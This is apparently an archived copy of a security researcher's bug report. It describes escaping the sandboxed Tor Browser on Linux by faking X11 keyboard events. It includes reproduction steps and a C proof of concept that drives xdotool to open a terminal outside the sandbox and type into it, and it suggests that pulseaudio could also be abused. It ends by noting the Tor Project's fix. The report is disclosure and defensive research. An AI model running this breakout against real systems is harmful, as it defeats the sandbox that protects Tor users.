Tor (Linux) – X11 Linux Sandbox Breakout
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1293&desc=2 **EDIT: I mixed up two different sandboxes; see the comment below for a correction.** From inside the Linux sandbox described in <https://blog.torproject.org/blog/tor-browser-70-released>, it is still possible to talk to the X server without any restrictions. This means that a compromised browser can e.g. use the XTEST X protocol extension (<https://www.x.org/releases/X11R7.7/doc/xextproto/xtest.html>) to fake arbitrary keyboard and mouse events, directed at arbitrary windows. This permits a sandbox breakout, e.g. by injecting keypresses into a background window. <https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Sandbox/Linux#HowdoIprotectmyselffromXexploits> mentions that the X server is reachable, but it sounds like the author didn't realize that a normal connection to the X server permits sandbox breakouts by design. To reproduce: Install Debian Jessie with the Xfce4 desktop environment and with backports enabled. Install bubblewrap and xdotool. Install the sandboxed Tor browser from <https://www.torproject.org/dist/torbrowser/7.0a4/sandbox-0.0.6-linux64.zip>. Launch the sandboxed Tor browser, use the default configuration. When the browser has launched, close it. Delete ~/.local/share/sandboxed-tor-browser/tor-browser/Browser/firefox. Store the following as ~/.local/share/sandboxed-tor-browser/tor-browser/Browser/firefox.c: ========================= */ #include <stdlib.h> #include <unistd.h> int main(void){ int status; setenv("LD_LIBRARY_PATH", "/home/amnesia/sandboxed-tor-browser/tor-browser", 1); if (fork() == 0) { execl("/home/amnesia/sandboxed-tor-browser/tor-browser/xdotool", "xdotool", "key", "alt+F2", "sleep", "1", "type", "xfce4-terminal", NULL); perror("fail"); return 0; } wait(&status); if (fork() == 0) { execl("/home/amnesia/sandboxed-tor-browser/tor-browser/xdotool", "xdotool", "sleep", "1", "key", "Return", "sleep", "1", "type", "id", NULL); perror("fail"); return 0; } wait(&status); if (fork() == 0) { execl("/home/amnesia/sandboxed-tor-browser/tor-browser/xdotool", "xdotool", "sleep", "1", "key", "Return", NULL); perror("fail"); return 0; } wait(&status); while (1) sleep(1000); return 0; } /* ========================= In ~/.local/share/sandboxed-tor-browser/tor-browser/Browser, run "gcc -static -o firefox firefox.c". Run "cp /usr/bin/xdotool /usr/lib/x86_64-linux-gnu/* ~/.local/share/sandboxed-tor-browser/tor-browser/". Now run the launcher for the sandboxed browser again. Inside the sandbox, the new firefox binary will connect to the X11 server and send fake keypresses to open a terminal outside the sandbox and type into it. There are probably similar issues with pulseaudio when it's enabled; I suspect that it's possible to e.g. use the pulseaudio socket to load pulseaudio modules with arbitrary parameters, which would e.g. permit leaking parts of files outside the sandbox by using them as authentication cookie files for modules that implement audio streaming over the network. ################################################################### I mixed up two sandboxes. The blog post <https://blog.torproject.org/blog/tor-browser-70-released> talks about the Firefox content process sandbox, which is still in development and unrelated to the Tor-specific sandbox I looked at. So the "content sandboxing" the blog post talks about isn't very effective yet; the Mozilla wiki points to multiple bug lists that document the remaining work (https://wiki.mozilla.org/Security/Sandbox#Bug_Lists). The sandbox I looked at here is written and distributed by the Tor Project. https://gitweb.torproject.org/tor-browser/sandboxed-tor-browser.git/commit/?id=1bfbd7cc1cd60c9468f2e33a3d4816973f1fb2f5 was added to mitigate the issue I reported by filtering X11 traffic and whitelisting permitted X protocol extensions. More warnings have been added to the corresponding documentation (https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Sandbox/Linux?action=diff&version=23&old_version=21) that point out that this sandbox should not be used without manually configuring nested X11 and that pulseaudio is unsafe. */ |